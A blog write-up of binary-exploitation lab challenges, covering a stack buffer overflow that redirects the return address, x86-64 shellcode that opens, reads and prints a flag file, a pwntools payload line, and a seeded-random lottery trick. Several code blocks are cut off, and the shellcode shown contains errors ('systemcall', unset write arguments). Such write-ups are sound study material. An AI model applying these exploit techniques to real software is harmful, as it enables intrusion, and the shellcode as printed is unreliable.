Yuawn BOF Lab WriteUp
bof
Hijack ret addr
rip to run call_me()
objdump -d ./bof

sub rsp,0x30<- 48 bits in stackrbp-ox30forgets()input

- 塞a到
0x38<-0x30buf +0x8saved rbp - 然後加上
p64(call_me()的address)<- return address - 就會跳到call_me去執行
總結
蓋 0x30 bit 會到
rbp所以要加 8 bit覆蓋rbp 之後才填入要去的address (使用pwntoolsp64())
orw
- 先用
checksec查看 seccomp & arch x86-64 syscall- seccomp
- ShellCode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32mov rax ,0x67616c662f77
push rax
mov rax ,0x726f2f656d6f682f
push rax
; '/home/orw/flag' push in stack ,so it need to reverse
mov rdi ,rsp
; Pointer 指向 string
xor rsi, rsi
xor rdx, rdx
;將 RSI 和 RDX 寄存器清零,分別作為 open() 系統調用的 flags 和 mode 參數,表示不設置任何特殊標誌和許可權。
mov rax ,2
; open systemcall
syscall
//open("/home/orw/flag" , 0 , 0)
mov rdi , rax
;將 RAX 寄存器的返回值(文件描述符)設置為 RDI 寄存器,作為 read() 系統調用的 file descriptor 參數。
mov rsi,rsp ;將 RSP 寄存器的地址設置為 RSI 寄存器,作為 read() 系統調用的 buffer 參數。
mov rdx ,0x50 ;將 RDX 寄存器設置為要讀取的字節數(0x50,80 字節)。
mov rax,0
systemcall
// read( fd , rsp , 0x50 )
mov rdi ,1 ;將 RDI 寄存器設置為 1,作為 write() 系統調用的 file descriptor 參數。
mov rax ,1 ;將 RAX 寄存器設置為 1,表示 write 系統調用。
systemcall
// write( 1 , rsp , 0x50 )



.bss的起始位置是0x601060為什麼sc是0x6010a0- 因前面是塞了
stdout,stdin,stderr
1
2
3
4
5void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}- 因前面是塞了
.bss -> sc[0x100]r.sendafter(b':)' ,b'a'*18 + p64(0x6010a0))
1 | #!/usr/bin/env python |
pwnable orw
x86 (32bit syscall)
1 | from pwn import process,remote, p64,asm,context,shellcraft ,success |
casino
checksec casino

Partial RELOAD,No PIE
name,age,seed,shellcode
1 | # age =0 , seed =0 |
Ans
lottery.c
只要
seed一樣srand生成的亂數就會一樣 -> overflow 設定seed = 0產生lottery1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main(){
int lottery[6] ={};
int seed = 0 ;
srand(seed);
for(int i=0;i<6;i++){
lottery[i] = rand() %100;
printf("%d,",lottery[i]);
// 83,86,77,15,93,35
}
printf ("%d",&lottery[-43]);
return 0;
}exp
1 | from pwn import remote, p64,context,shellcraft,asm |
plt

1 | # guess 0x6020d0 |
最後填入 shellcode address 0x602108 = 6299912
cat /home/casino/flag
- Title: Yuawn BOF Lab WriteUp
- Author: Chihhh Linnn
- Created at : 2024-08-05 14:50:20
- Updated at : 2024-08-05 14:50:20
- Link: https://chihhhs.github.io/2024/08/05/pwn-3/
- License: This work is licensed under CC BY-NC-SA 4.0.